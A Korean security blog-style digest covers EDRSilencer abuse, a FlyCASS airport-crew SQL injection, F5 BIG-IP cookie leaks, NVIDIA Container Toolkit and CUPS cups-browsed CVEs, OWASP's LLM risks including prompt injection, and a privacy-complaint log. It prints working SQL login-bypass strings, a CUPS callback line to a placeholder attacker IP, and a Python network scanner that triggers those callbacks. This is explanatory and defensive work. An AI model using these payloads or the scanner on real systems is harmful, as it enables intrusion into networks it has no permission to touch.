- 사이버 공격자들, 레드팀 도구 EDRSilencer를 활용해 악성 행위를 숨기는 중 - EDR을 무효화하고 멀웨어 식별 및 제거를 어렵게 만들기 위해 레드팀 도구 사용
내용
- EDRSilencer > 오픈소스로, Windows Filtering Platform(WFP)을 활용해 엔드포인트 탐지 및 대응(EDR) 솔루션들을 무력화시키도록 설계된 공격 도구 ⒜ Github에 공개된 무료 도구로, 레드팀 훈련에 필요한 일부 기능을 제공 ⒝ MDSec의 NightHawk FireBlock 도구 에서 영감을 받아 만들어짐 ⒞ WFP(Windows Filtering Platform)를 사용하여 실행 중인 EDR 프로세스의 아웃바운드 트래픽을 차단하도록 설계 ⒟ Microsoft, Elastic, Trellix, Qualys, SentinelOne, Cybereason, Broadcom Carbon Black, Tanium, Palo Alto Networks, Fortinet, Cisco, ESET, HarfangLab, Trend Micro의 EDR 제품과 관련된 다양한 프로세스 종료를 지원
> 명령줄 인터페이스를 가지고 있으며, 다음 기능을 제공 ⒜ blockedr : 감지된 모든 EDR 프로세스의 트래픽을 자동으로 차단 ⒝ block : 특정 프로세스의 경로를 지정해 트래픽 차단 ⒞ unblockall : 도구가 생성한 모든 WFP 필터 제거 ⒟ unblock : 필터 ID를 지정해 특정 WFP 필터 제거
- 공격자들이 EDRSilencer를 악용해 공격에 사용중 > EDR을 무효화하고 멀웨어 식별 및 제거를 어렵게 만들기 위해 레드팀 도구 사용 > 실행 중인 EDR 프로세스를 동적으로 식별하고 지속적인 WFP 필터를 생성하여 IPv4 및 IPv6에서 모두 아웃바운드 네트워크 통신을 차단함으로써 보안 소프트웨어가 관리 콘솔로 원격 측정 데이터를 전송하지 못하도록 WFP를 활용
> 공격순서 ⒜ EDR 관련 프로세스 수집 및 목록화 : 실행되고 있는 EDR 제품 관련 프로세스 스캔 후 목록을 작성 ⒝ blockedr(또는 block) 명령으로 탐지된 프로세스 트래픽 차단 ⒞ WFP 필터 구성 : 필터들은 지속적으로 생성 및 설정되기 때문에 시스템 재부팅 이후 유지 ⒟ 해당 프로세스의 아웃바운드 트래픽을 억제
- 대응방안 > 여러 층위의 안전 장치 마련 > 미리 방비하는 능동적인 자세 > 망분리와 심층 방어 > 행동 분석 기반 탐지 기능 강화 > 애플리케이션 화이트리스트 처리 > 지속적인 네트워크 모니터링 > 알려진 침해지표 등을 기반으로 한 위협 헌팅 수행 > 강력한 접근 제어 기술 구축 > 최소 권한의 원칙 적용
기타
- 공격자들은 여러 EDR 무력화 도구를 사용 > AuKill, EDRKillShifter, TrueSightKiller, GhostDriver, Terminator 등 > 취약한 드라이버를 악용해 권한 확대 및 보안 관련 프로세스 종료
- WFP (윈도 필터링 플랫폼, Windows Filtering Platform) > 네트워크 필터링과 보안 애플리케이션을 만드는 데 사용되는 강력한 프레임워크 > 개발자들이 IP 주소, 포트, 프로토콜, 애플리케이션 등 다양한 기준에 따라 네트워크 트래픽을 모니터링, 차단, 수정하는 맞춤형 규칙을 정의할 수 있게 API를 제공 > 방화벽, 백신 소프트웨어 등 다양한 보안 솔루션에서 활용
- 해외 보안 연구원에 의해 공항 보안에 사용되는 KCM과 CASS 프로세스에서 SQL Injection 취약점 발견 [1] - 취약점 악용에 성공할 시 관리자가 되어 항공사에 새로운 직원을 추가하는 등의 악성행위 가능 > 현재는 취약점이 해결되었음
2. 주요내용
2.1 KCM (Known Crewmember)
- 조종사와 승무원이 보안 검색을 우회할 수 있도록 해주는 TSA 프로그램 - 직원은 전용 레인을 사용하며, KCM 바코드 또는 직원 번호를 제시해 통과 여부를 결정
※ TSA (Transportation Security Administration) : 미국 교통안전청, 9.11 테러 이후 여객기 등의 운행 안전 필요성이 대두되어 설립
2.2 CASS (Cockpit Access Security System)
- 조종사가 조종실의 점프 시트를 사용할 수 있도록 하는 시스템
2.3 ARINC
- 항공, 공항, 국방, 정부, 수송분야에서 사용되는 표준과 시스템을 개발 및 제공하는 기업 - TSA와 계약하여 KCM 시스템을 운영하며, 조종사와 승무원이 KCM 상태를 확인할 수 있는 웹 사이트와 항공사 간 승인 요청을 라우팅하는 API 등을 운영 > 각 항공사는 KCM 및 CASS에 참여하기 위해 자체 인증 시스템을 운영하며, ARINC의 허브와 상호작용함 - TSA와 항공사는 CockpitAccessRequest와 CrewVerificationRequest 같은 요청을 ARINC로에 보낼 수 있으며, ARINC는 이를 적절한 항공사 시스템으로 라우팅
2.4 FlyCASS.com
- 소규모 항공사를 위해 KCM, CASS 운영하며, 모든 항공사가 자체 로그인 페이지를 가지고 있음 - 로그인 페이지에서 SQL Injection 취약점을 테스트(username에 ` 입력)한 결과 MySQL 오류 발생 > sqlmap을 사용해 관리자로 FlyCASS에 로그인 성공 > username : ' or '1'='1 / password : ') OR MD5('1')=MD5('1
※ sqlmap : SQL Injection을 감지 및 악용할 수 있는 Python 으로 작성된 오픈 소스 침투 테스트 도구 [2]
※ 잘못된 SQL 문법 등의 경우 반환되는 에러 메시지를 통해 데이터베이스 정보를 획득할 수 있으므로, 에러 메시지를 출력하지 않도록 조치 필요
2.5 KCM, CASS 관리자
- FlyCASS에 SQL Injection 취약점을 악용해 관리자 권한으로 접근이 가능 > 직원(조종사, 승무원) 목록을 확인하거나 추가 인증 없이 새로운 직원을 추가할 수 있었음
- 테스트를 위해 Test TestOnly 직원 추가 및 KCM, CASS 접근 권한을 부여하는데 성공 > SQL Injection에 기본적인 지식이 있는 누구나 KCM, CASS에 임의의 직원을 추가할 수 있는 심각한 문제
2.6 공개 및 기타 [3]
- 미국 국토안보부(United States Department of Homeland Security, DHS)에 문제를 공개 - 이후 FlyCASS는 KCM, CASS에서 비활성화 - TSA는 취약점을 부인하는 성명을 발표했으며, DHS는 초기에 신속하고 전문적으로 처리했으나, 이후 과정에서 상급 기관으로써의 역할을 제대로 수행하지 못함 - 비밀번호를 저장하는데 MD5 해시를 사용한 것 또한 문제
- CISA는 F5 BIG-IP LTM(로컬 트래픽 관리자, Local Traffic Manager) 모듈에서 생성된 쿠키를 악용한 내부 네트워크 탐색에 대해 경고 [1] - 공격자는 숨겨진 내부 장비를 찾아내고 이를 타켓으로 삼아 침투할 수 있는 취약점을 찾는데 사용할 수 있음
2. 주요내용
- F5 BIG-IP: 애플리케이션 배포 및 트래픽 관리 도구로, 웹 애플리케이션의 로드 밸런싱과 보안을 제공하는 솔루션 > LTM 모듈: 트래픽을 관리하고 로드 밸런싱을 통해 네트워크 트래픽을 여러 서버에 분산
- LTM 모듈은 세션 일관성을 유지하기 위해 쿠키를 사용 > 해당 쿠키를 통해 사용자가 동일한 백엔드 서버로 지속적으로 접속할 수 있도록 함 > 그러나, 해당 쿠키는 기본적으로 암호화되지 않은 상태로 설정되어 있음
- 내부 서버 IP 주소, 포트 번호, 로드 밸런싱 설정 등의 정보가 암호화 없이 쿠키에 포함되어 있음 > 쿠키에서 얻은 정보를 기반으로 네트워크 내 추가 자원을 식별하거나 취약점을 찾아 악용할 수 있음
- F5는 BIG-IP 11.5.0부터 모든 쿠키를 암호화할 수 있는 'Required' 옵션 제공 [2][3] > 쿠키 암호화가 활성화되면 BIG-IP LTM 시스템은 192-Bit AES 암호화 후 Base64 인코딩하여 HTTP 응답에 포함 > 클라이언트가 암호화된 쿠키를 전송한 경우 BIG-IP LTM은 Base64 디코딩 후 복호화한 후 HTTP 요청에 복호화된 쿠키를 포함
- 컨테이너 런타임 라이브러리와 NVIDIA GPU를 활용하도록 컨테이너를 자동으로 구성하는 유틸리티가 포함 - Docker 컨테이너 내에서 NVIDIA GPU를 효율적으로 활용할 수 있도록 만들어진 도구 > 일반적인 환경에서 Docker를 동작 시키면 Host의 CPU를 기반으로 Docker가 생성되며, GPU를 사용할 수 없음 > 과거에는 GPU를 사용하기 위해 컨테이너 내에 NVIDIA GPU 드라이버를 설치하였으나, 안전성-하드웨어와 컨테이너의 드라이버 버전을 매번 맞춰야하는-문제가 있음 > NVIDIA Container Toolkit은 Container에서 GPU를 사용시 libcuda.so와 같은 Host에 있는 CUDA Toolkit들을 마운트해주는 역할
※ CUDA(Computed Unified Device Architecture) Toolkit: 고성능 GPU 가속 애플리케이션을 만드는 개발 환경을 제공 [2]
2. 취약점 [3]
2.1 CVE-2024-0132
- NVIDIA Container Toolkit에서 발생하는 TOCTOU 취약점 (CVSS: 9.0)
> 악성 이미지를 통해 실행되는 컨테이너를 탈출해 호스트 시스템에 대한 전체 액세스 권한을 얻을 수 있음
> 악용에 성공할 경우 코드 실행, 서비스 거부(DoS), 권한 상승, 정보 유출, 데이터 변조 등의 공격을 유발할 수 있음
※ 구체적인 기술적 세부 사항은 공개하지 않음
영향받는 버전: NVIDIA Container Toolkitv 1.16.1 이하 버전
2.1.1 TOCTOU (Time-Of-Check to Time-Of-Use) 취약점
- 자원을 사용하는 시점과 검사하는 시점이 달라서 자원의 상태변동으로 야기되는 Race Condition 취약점
> 병렬시스템(멀티프로세스로 구현한 응용프로그램)에서는 자원(파일, 소켓 등)을 사용하기에 앞서 자원의 상태를 검사
> 하지만, 자원을 사용하는 시점과 검사하는 시점이 다르기 때문에, 검사하는시점(Time Of Check)에 존재하던 자원이 사용하던 시점(Time Of Use)에 사라지는 등 자원의 상태가 변하는 경우가 발생
- 동기화 구문을 통해 한번에 하나의 프로세스만 공유자원에 접근 가능하도록 처리
> 성능에 미치는 영향을 최소화하기 위해 임계코드 주변만(동기화가 필요한 부분만) 동기화 구문을 사용
2.1.2 공격 과정
① 공격자는 악성 이미지를 제작해 유포한 후 대상 플랫폼에서 악성 이미지 실행 > 공급망 또는 사회공학적기법을 사용해 이미지 실행을 유도 ② CVE-2024-0132를 악용해 호스트 파일 시스템에 엑세스 ③ Container Runtime Socket을 이용해 호스트 시스템에서 임의의 명령 실행 > docker.sock 및 containerd.sock 악용: root 권한으로 호스트 시스템에서 컨테이너로 임의의 명령을 실행할 수 있음
2.2 CVE-2024-0133
- 컨테이너 이미지가 호스트 파일 시스템에 빈 파일을 생성할 수 있는 취약점
영향받는 버전: NVIDIA Container Toolkitv 1.16.1 이하 버전
※ 두 취약점 모두 CDI (Container Device Interface)가 사용되는 경우 영향받지 않음 > CDI (Container Device Interface): 컨테이너 런타임에서 NVIDIA GPU와 같은 복잡한 디바이스에 대한 액세스를 표준화 [7]
- OWASP는 LLM 애플리케이션의 가장 치명적인 취약점 10가지 발표 - LLM을 보완하며 학습 데이터의 무결성을 확보하는 검색 증강 생성(Retrieval-Augmented Generation, RAG)
기타
- ChatGPT 등장 후 LLM은 AI 분야의 핵심 기술로 주목 받음 > LLM 관련 서비스들이 등장하고 있지만, 여러 취약점이 나오며 도입 및 사용을 꺼리는 현상이 나타남
- OWASP, LLM 애플리케이션의 가장 치명적인 취약점 10가지 발표 ① 프롬프트 주입(Prompt Injection) > 악의적인 프롬프트(질문)를 입력해 LLM이 본래 정책이나 가이드라인에 구애받지 않고 공격자 의도대로 작동하도록 하는 취약점 > LLM 접근 권한 제어 강화와 외부 콘텐츠 분리 등을 통해 완화할 수 있음
② 불완전한 출력 처리(Insecure Output Handling) > LLM에서 생성된 출력이 검증 없이 다른 시스템으로 전달될 경우, 원격 코드 실행 등의 위협이 발생할 수 있음 > 제로 트러스트 접근 방식 사용과 입력 유효성 검사 등을 통해 예방할 수 있음
③ 학습 데이터 중독(Training Data Poisoning) > 사전 학습 데이터를 조작해 모델의 보안성과 효율성을 손상시키는 취약점 > 사용자가 오염된 정보에 노출되거나 시스템 성능 저하를 초래할 수 있음 > 안정성이 검증된 학습 데이터를 사용해 예방할 수 있음
④ 모델 서비스 거부(Model Denial of Service) > 공격자가 대량의 리소스를 소모시켜 다른 사용자의 서비스 품질을 저하시키고 높은 리소스 비용을 발생시킴 > 사용자 입력 제한 규칙 준수와 리소스 사용량 제한 등을 통해 예방할 수 있음
⑤ 공급망 취약점(Supply Chain Vulnerabilities) > 체계적인 방식이나 도구 없이는 LLM 공급망을 관리하기 어려워 소프트웨어 공급망 취약점과 유사한 위협이 발생할 수 있음 > 신뢰할 수 있는 공급 업체 사용과 패치 정책 구현 등을 고려해야 함
⑥ 민감 정보 노출(Sensitive Information Disclosure) > LLM의 답변을 통해 민감한 정보가 노출되고, 이로 인해 개인정보 침해나 지적재산의 무단 액세스가 발생할 수 있음 > 적절한 데이터 정제 기술로 민감 데이터가 학습 데이터에 포함되지 않도록 해야 함
⑦ 불완전 플러그인 설계(Insecure Plugin Design) > LLM 플러그인은 사용자가 다른 앱 사용 중 자동으로 호출되는 확장 기능 > 모델이 다른 플랫폼에서 제공될 때 앱 실행을 제어할 수 없어 원격코드 실행 등 위협이 발생할 수 있음 > 이를 예방하기 위해 민감한 작업 실행 시 수동 승인을 요구하고 인증 ID를 적용해야 함
⑧ 과도한 에이전시(Excessive Agency) > 기능 호출 권한을 가진 에이전트가 LLM의 출력에 대응해 해로운 작업을 수행할 수 있음 > 이는 세분화된 기능을 갖춘 플러그인을 사용하고 최소한의 권한으로 제한하는 등의 방법으로 예방할 수 있음
⑨ 과도한 의존(Overreliance) > LLM이 환각 현상이 발생할 수 있움 > 파인튜닝, 임베딩, RAG 기법 등으로 품질을 개선하고 검증을 받으며, 사용자가 LLM의 한계를 인식하게 해 예방 가능
⑩ 모델 도난(Model Theft) > 공격자가 해킹을 통해 LLM 모델에 무단으로 접근하거나 모델이 유출될 수 있음 > 강력한 보안 조치를 통해 예방할 수 있음
※ 기타 > 모델의 정보가 최신이 아니거나, 편향된 데이터를 학습해 차별적인 답
⑪ 결론 > LLM의 안정성을 강화하기 위해서는 학습 데이터의 무결성 확보, 권한·접근 제어 강화, 모델 관리 및 모니터링이 필요 > 사용자가 LLM의 한계를 인식하는 것도 중요
- 기존의 LLM > 사용자 입력으로 학습된 데이터에 기반해 답변 생성 > 사용자가 LLM에 학습되지 않은 질문을 하면, LLM의 데이터 중 가장 확률이 높은 정보를 조합해 답변 생성 > 이 과정에서 환각 현상 (허위 또는 오래된 정보를 사실인 듯 제공) 발생 가능
- 검색 증강 생성(Retrieval-Augmented Generation, RAG) > 환각 현상을 보완하며 학습 데이터의 무결성을 확보 > LLM이 답변을 생성하기 전 외부 학습 데이터 소스를 참조해 정확도를 높이는 방식 > 방대한 양의 데이터를 학습한 LLM이 특정 도메인이나 조직의 내부 데이터를 활용해 보다 정밀한 답변을 생성할 수 있음
> RAG 작동 방식: 외부 데이터 생성-관련 정보 검색-LLM 프롬프트 확장-외부 데이터 업데이트 ① 외부 데이터 생성 > API, 데이터베이스(DB), 문서 등 다양한 소스에서 원하는 데이터를 가져옴 > 데이터는 파일, DB 레코드, 텍스트 등 여러 형식 > LLM이 이해하도록 복잡한 데이터를 임베딩 언어모델을 사용해 벡터 형태로 변환 > 변환된 벡터 데이터를 벡터 DB에 저장해 지식 라이브러리를 생성
② 관련 정보 검색 > 사용자가 프롬프트를 입력하면, 질의 인코더(Query Encoder)가 사용자 프롬프트를 벡터 형태로 인코딩한 후 관련된 정보를 벡터 DB에서 검색해 가져옴 > 관련 정보 검색은 키워드 검색, 시맨틱 검색, 두 방법을 결합한 하이브리드 검색 방법이 있음
③ LLM 프롬프트 확장 > 검색된 데이터를 컨텍스트(Context)에 추가해 사용자 프롬프트를 보강 > 확장된 프롬프트를 LLM에 전달하면, LLM이 검색 데이터를 활용해 답변 생성
④ 외부 데이터 업데이트 > 문서를 비동기적으로 업데이트하는 것을 의미
- RAG 이외에 LLM의 환각 현상을 줄이는 또 다른 방법은 ‘파인튜닝(Fine-Tuning) > LLM에 도메인 특화 데이터를 학습시켜 맞춤형 모델로 업데이트하는 방법
> 메일로 수신한 계정 정보 확인 결과 PW가 평문으로 노출되어 있었고, KISA에 1차 문의 진행
답변 요약
- 개인정보 보호법 제29조(안전조치의무) > 개인정보처리자는 개인정보가 분실ㆍ도난ㆍ유출ㆍ위조ㆍ변조 또는 훼손되지 아니하도록 내부 관리계획 수립, 접속기록 보관 등 대통령령으로 정하는 바에 따라 안전성 확보에 필요한 기술적ㆍ관리적 및 물리적 조치를 하여야 한다.
- 개인정보 보호법제29조를 근거하여 시행령 제16조제2항, 제30조 및 제30조의2에서 다음의 기준을 정함 > 개인정보처리자가 개인정보를 처리함에 있어서 개인정보가 분실·도난·유출·위조·변조 또는 훼손 되지 아니하도록 안전성 확보에 필요한 기술적·관리적 및 물리적 안전조치에 관한 최소한의 기준을 정하고 있음
- 개인정보의 안전성 확보조치 기준에서의 비밀번호 > 정보주체 및 개인정보취급자 등이 개인정보처리시스템 또는 정보통신망을 관리하는 시스템 등에 접속할 때 식별자와 함께 입력하여 정당한 접속 권한을 가진 자라는 것을 식별할 수 있도록 시스템에 전달해야 하는 고유의 문자열로서 타인에게 공개되지 않는 정보 > 제7조 제1항: 개인정보처리자는 비밀번호, 생체인식정보 등 인증정보를 저장 또는 정보통신망을 통하여 송·수신하는 경우에 이를 안전한 암호 알고리즘으로 암호화 > 제7조 제4항: 개인정보처리자는 개인정보를 정보통신망을 통하여 인터넷망 구간으로 송·수신하는 경우에는 이를 안전한 암호 알고리즘으로 암호화
- 정보통신망을 통한 개인정보 암호화 전송을 위해 프로토콜이 탑재된 기술을 활용하거나, 개인정보를 암호화 저장한 후 이를 전송하는 방법 등을 사용할 수 있으며 만약 암호화 응용프로그램 대신하여 보안서버를 구축하고 있다면 이를 본 법률에 저촉된다고 보기는 어려울 것 > 단, 개인정보의 기술적 관리적 보호조치 기준 제6조제3항에 따른 보안서버를 구축하고 있지 않은 경우 문제의 소지가 있을 수 있음
- 문의 시 제출한 증적자료를 바탕으로 조사 착수 여부에 대해 검토 > 단, 신고서가 누락된 경우 상담으로 처리되므로, 검토를 원하는 경우 접수방법을 참고하여 접수 권고
2. 계정 정보 평문 노출 관련 1차 신고
- 위 내용과 관련하여 KISA에 개인정보 침해 신고 접수
> 추가로, 도서 문의 후 계정 탈퇴를 진행하였으나 즉각 삭제가 아닌 일정 시간 후 삭제되어 관련 내용에 관한 문의 진행
> 삭제 후 일정 시간 동안 계정 찾기를 통해 ID/PW를 찾을 수 있었으며, 마찬기지로 PW가 평문으로 노출되어 수신
> 개인정보 삭제 요구와 관련된 답변을 수신 하였으며, 비밀번호 평문 노출 관련 신고를 권고
※ 개인정보 침해 또는 노출 신고 시 해당 내용만을 양식에 맞추어 신고할 필요가 있음을 인지
답변 요약
- 개인정보 보호법 제36조(개인정보의 정정·삭제) > 제1항: 자신의 개인정보의 열람을 요구한 정보주체는 그 개인정보의 정정 또는 삭제를 요구할 수 있음 > 제2항: 제1항에 따른 정보주체의 요구를 받은 개인정보처리자는 다른 법령에 특별한 규정이 있는 경우를 제외하고는 정보주체의 요구에 필요한 조치를 하여야 함 > 제6항: 제1항·제2항에 따른 정정 또는 삭제 요구 통지 방법 및 절차 등에 필요한 사항을 시행령 제43조(개인정보의 정정·삭제 등)로 정하고 있음
- 개인정보 보호법 제36조 제6항을 근거하여 시행령 제43조(개인정보의 정정·삭제 등) 제3항 > 개인정보의 정정·삭제 요구를 받은 개인정보처리자는 요구를 받는 날로부터 근무일 기준 10일이내에 조치 하도록 규정 > 따라서, 삭제 요구 후 기간 내 조치한 경우 위반의 소지가 있다고 보기는 어려움
- 개인정보의 삭제로 인하여 관련 자료의 첨부가 어려움 > 침해받은 자에 해당함을 입증할 수 없으나 개인정보 보호법 위반의 소지가 있고, 제3자가 개인정보의 권리 또는 이익을 현저히 침해받을 우려가 있음 > 따라서, 신고를 원하는 경우 공익신고자 보호법에 따른 공익신고에 해당하므로 개인정보보호위원회로 신고 권고
3. 계정 정보 평문 노출 관련 2차 신고
- 개인정보보호위원회로 신고 및 KISA로 민원 이송 답변
답변 요약
- 안전조치의무 위반 등 개인정보 침해신고 관련 내용 > 개인정보보호법 제62조(침해 사실의 신고 등) 및 시행령 제59조(침해 사실의 신고 등)에 따라 개인정보보호법 침해사실을 접수 및 조사할 수 있도록 한국인터넷진흥원으로 이송
4. 계정 정보 평문 노출 관련 3차 신고
- KISA로부터 해당 민원은 이전 개인정보 노출 신고건과 동일한 건으로 침해신고센터에서 검토 진행 안내 메일 수신
> KISA 개인정보침해신고센터로부터 안전조치 의무 시행(비밀번호 암호화) 관련 신고 접수 안내 메일 수신 후 대기 중
> IP가 0.0.0.0인 것은 모든 네트워크 인터페이스에서 수신을 대기라고 응답한다는 것을 의미
- cups-browsed는 CUPS 시스템의 일부로, 새로운 프린터를 발견하고 자동으로 시스템에 추가해줌
> root로 실행
> /etc/cups/cups-browsed.conf를 설정하여 접근 가능 여부를 설정할 수 있음
2.취약점 [2]
- CUPS의 cups-browsed 데몬에서 발생하는 취약점
> 공격자가 취약점을 연계하여 악용할 경우 네트워크를 통해 악성 프린터를 추가하고, 사용자가 인쇄 작업을 시작할 때 임의의 코드를 실행할 수 있음
- Akamai의 연구에 따르면 DDoS 공격에 활용될 경우 600배 증폭될 수 있음을 확인 [3]
> 공격자가 CUPS 서버를 속여 대상 장치를 추가할 프린터로 처리하도록 할 때 발생 > 취약한 CUPS 서버로 전송된 각 패킷은 대상 장치를 겨냥한 더 큰 IPP/HTTP 요청을 생성 > 공격 대상과 CUPS 서버 모두에 대역폭과 CPU 리소스 소모를 유발
서비스명
영향받는 버전
cups-browsed
2.0.1 이하
libcupsfilters
2.1b1 이하
libppd
2.1b1 이하
cups-filters
2.0.1 이하
2.1 주요내용
2.1.1 CVE-2024-47176
- CUPS의 cups-browsed는 631포트로 모든 네트워크 인터페이스의 모든 패킷을 신뢰([사진 1] 0.0.0.0:631)
> 공격자는 자신이 제어하는 IPP 서버(이하 악성 IPP 서버)를 시작한 다음 대상 시스템으로 UDP 패킷전송
> 피해 시스템이 공격자가 제어하는 IPP 서버에 다시 연결되고 User-Agent 헤더에 CUPS 및 커널 버전 정보가 공개됨
0 3 hxxp://<ATACKER-IP>:<PORT>/printers/whatever
2.1.2 CVE-2024-47076
- 피해 시스템은 악성 IPP 서버에 프린터 속성을 요청하며 악성 IPP 서버는 기본 프린터 속성을 전송
> libcupsfilters.cfGetPrinterAttributes()는 반환된 IPP 속성을 검증하거나 정리하지 않고 반환된 IPP 속성을 기반으로 임시 PPD 파일을 생성
※ libcupsfilters: 프린터 애플리케이션에서 필요한 데이터 형식 변환 작업에 사용되는 라이브러리 함수 ※ PostScript Printer Description (PPD): PostScript 프린터의 설정 정보뿐만 아니라 일련의 PostScript 명령 코드도 포함
2.1.3 CVE-2024-47175
- 공격자는 FoomaticRIPCommandLine을 통해 PPD 파일에 악성 코드 주입
> libppd.ppdCreatePPDFromIPP2()는 임시 PPD 파일에 IPP 속성을 쓸 때 IPP 속성을 검증하거나 정리하지 않아 공격자가 제어하는 데이터를 PPD 파일에 주입할 수 있음
> 명령 출력 결과가 “Active: inactive (dead)” 포함된 경우 취약점에 영향받지 않음
> 명령 출력 결과가 “Active: active (running)”이고, 구성 파일 /etc/cups/cups-browsed.conf의 "BrowseRemoteProtocols" 지시문에 "cups" 값이 포함되어 있는 경우 ⒝dpkg -l | grep -E 'cups-browsed|cups-filters|libcupsfilters|libppd'
> stop: 단순 중지 / disable: 시스템 부팅 시 자동으로 시작되지 않도록 설정
③ 방화벽 설정 강화
> $ sudo ufw deny proto udp from any to any port 631
④ 취약 여부를 확인할 수 있는 스캐너 활용 [11]
⒜ 동작 과정
> 기본 HTTP 서버를 설정(RCE 취약점을 악용하지 않으므로 프린터로 식별할 필요가 없음) > cups-browsed을 통해 HTTP 서버에 연결하도록 지시하는 UDP 패킷 생성 > 포트 631의 주어진 범위에 있는 모든 IP로 UDP 패킷 전송 > 취약한 cups-browsed 인스턴스로 인해 트리거되는 모든 POST 요청을 /printers/ 엔드포인트에 기록합니다.
⒝ 결과
> 스캔 결과는 총 2개의 Log에 기록
> cups.log_응답한 장치의 IP&CUOS 버전 정보 기록
> requests.log_심층 분석에 사용할 수 있는 수신한 원시 HTTP 요청이 기록
#!/usr/bin/env python3
import socket
import ipaddress
import argparse
import threading
import time
import signal
import sys
import os
from http.server import BaseHTTPRequestHandler, HTTPServer
# a simple function to enable easy changing of the timestamp format
def timestamp():
return time.strftime("%Y-%m-%d %H:%M:%S")
# custom class for handling HTTP requests from cups-browsed instances
class CupsCallbackRequest(BaseHTTPRequestHandler):
# replace default access log behavior (logging to stderr) with logging to access.log
# log format is: {date} - {client ip} - {first line of HTTP request} {HTTP response code} {client useragent}
def log_message(self, _format, *_args):
log_line = f'[{timestamp()}] {self.address_string()} - {_format % _args} ' \
f'{self.headers["User-Agent"]}\n'
self.server.access_log.write(log_line)
self.server.access_log.flush()
# log raw requests from cups-browsed instances including POST data
def log_raw_request(self):
# rebuild the raw HTTP request and log it to requests.log for debugging purposes
raw_request = f'[{timestamp()}]\n'
raw_request += f'{self.requestline}\r\n'
raw_request += ''.join(f"{key}: {value}\r\n" for key, value in self.headers.items())
content_length = int(self.headers.get('Content-Length', 0))
if content_length > 0:
raw_body = self.rfile.read(content_length)
self.server.request_log.write(raw_request.encode('utf-8') + b'\r\n' + raw_body + b'\r\n\r\n')
else:
self.server.request_log.write(raw_request.encode('utf-8'))
self.server.request_log.flush()
# response to all requests with a static response explaining that this server is performing a vulnerability scan
# this is not required, but helps anyone inspecting network traffic understand the purpose of this server
def send_static_response(self):
self.send_response(200, 'OK')
self.send_header('Content-Type', 'text/plain')
self.end_headers()
self.wfile.write(b'This is a benign server used for testing cups-browsed vulnerability CVE-2024-47176')
# handle GET requests (we don't need to but returning our default response helps anyone investigating the server)
def do_GET(self):
self.send_static_response()
# handle POST requests, cups-browsed instances should send post requests to /printers/ and /printers/<callback_url>
def do_POST(self):
# we'll just grab all requests starting with /printers/ to make sure we don't miss anything
# some systems will check /printers/ first and won't proceed to the full callback url if response is invalid
if self.path.startswith('/printers/'):
ip, port = self.client_address
# log the cups-browsed request to cups.log and requests.logs and output to console
print(f'[{timestamp()}] received callback from vulnerable device: {ip} - {self.headers["User-Agent"]}')
self.server.cups_log.write(f'[{timestamp()}] {ip}:{port} - {self.headers["User-Agent"]} - {self.path}\n')
self.server.cups_log.flush()
self.log_raw_request()
self.send_static_response()
# custom class for adding file logging capabilities to the HTTPServer class
class CupsCallbackHTTPServer(HTTPServer):
def __init__(self, server_address, handler_class, log_dir='logs'):
super().__init__(server_address, handler_class)
# create 'logs' directory if it doesn't already exist
log_dir = 'logs'
if not os.path.exists(log_dir):
os.makedirs(log_dir)
# create three separate log files for easy debugging and analysis
# access.log - any web requests
# cups.log - ip, port, useragent, and request URL for any request sent to CUPS endpoint
# requests.log - raw HTTP headers and POST data for any requests sent to the CUPS endpoint (for debugging)
self.access_log = open(f'{log_dir}/access.log', 'a')
self.request_log = open(f'{log_dir}/requests.log', 'ab')
self.cups_log = open(f'{log_dir}/cups.log', 'a')
def shutdown(self):
# close all log files on shutdown before shutting down
self.access_log.close()
self.request_log.close()
self.cups_log.close()
super().shutdown()
# start the callback server to so we can receive callbacks from vulnerable cups-browsed instances
def start_server(callback_server):
host, port = callback_server.split(':')
port = int(port)
if port < 1 or port > 65535:
raise RuntimeError(f'invalid callback server port: {port}')
server_address = (host, port)
_httpd = CupsCallbackHTTPServer(server_address, CupsCallbackRequest)
print(f'[{timestamp()}] callback server running on port {host}:{port}...')
# start the HTTP server in a separate thread to avoid blocking the main thread
server_thread = threading.Thread(target=_httpd.serve_forever)
server_thread.daemon = True
server_thread.start()
return _httpd
def scan_range(ip_range, callback_server, scan_unsafe=False):
# the vulnerability allows us to add an arbitrary printer by sending command: 0, type: 3 over UDP port 631
# we can set the printer to any http server as long as the path starts with /printers/ or /classes/
# we'll use http://host:port/printers/cups_vulnerability_scan as our printer endpoint
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_callback = f'0 3 http://{callback_server}/printers/cups_vulnerability_scan'.encode('utf-8')
# expand the CIDR notation into a list of IP addresses
# make scanning only host addresses the default behavior (exclude the network and broadcast address)
# the user can override this with flag --scan-unsafe
if scan_unsafe:
ip_range = list(ipaddress.ip_network(ip_range))
else:
ip_range = list(ipaddress.ip_network(ip_range).hosts())
if len(ip_range) < 1:
raise RuntimeError("error: invalid ip range")
print(f'[{timestamp()}] scanning range: {ip_range[0]} - {ip_range[-1]}')
# send the CUPS command to each IP on port 631 to trigger a callback to our callback server
for ip in ip_range:
ip = str(ip)
udp_socket.sendto(udp_callback, (ip, 631))
# handle CTRL + C abort
def signal_handler(_signal, _frame, _httpd):
print(f'[{timestamp()}] shutting down server and exiting...')
_httpd.shutdown()
sys.exit(0)
if __name__ == '__main__':
parser = argparse.ArgumentParser(
prog='python3 scanner.py',
description='Uses the callback mechanism of CVE-2024-47176 to identify vulnerable cups-browsed instances',
usage='python3 scanner.py --targets 192.168.0.0/24 --callback 192.168.0.1:1337'
)
parser.add_argument('--callback', required=True, dest='callback_server',
help='the host:port to host the callback server on (must be reachable from target network) '
'example: --callback 192.168.0.1:1337')
parser.add_argument('--targets', required=True, dest='target_ranges',
help='a comma separated list of ranges '
'example: --targets 192.168.0.0/24,10.0.0.0/8')
parser.add_argument('--scan-unsafe', required=False, default=False, action='store_true', dest='scan_unsafe',
help='Typically the first and last address in a CIDR are reserved for the network address and '
'broadcast address respectively. By default we do not scan these as they should not be '
'assigned. However, you can override this behavior by setting --scan-unsafe')
args = parser.parse_args()
try:
# start the HTTP server to captures cups-browsed callbacks
print(f'[{timestamp()}] starting callback server on {args.callback_server}')
httpd = start_server(args.callback_server)
# register sigint handler to capture CTRL + C
signal.signal(signal.SIGINT, lambda _signal_handler, frame: signal_handler(signal, frame, httpd))
# split the ranges up by comma and initiate a scan for each range
targets = args.target_ranges.split(',')
print(f'[{timestamp()}] starting scan')
for target in targets:
scan_range(target, args.callback_server, args.scan_unsafe)
print(f'[{timestamp()}] scan done, use CTRL + C to callback stop server')
# loop until user uses CTRL + C to stop server
while True:
time.sleep(1)
except RuntimeError as e:
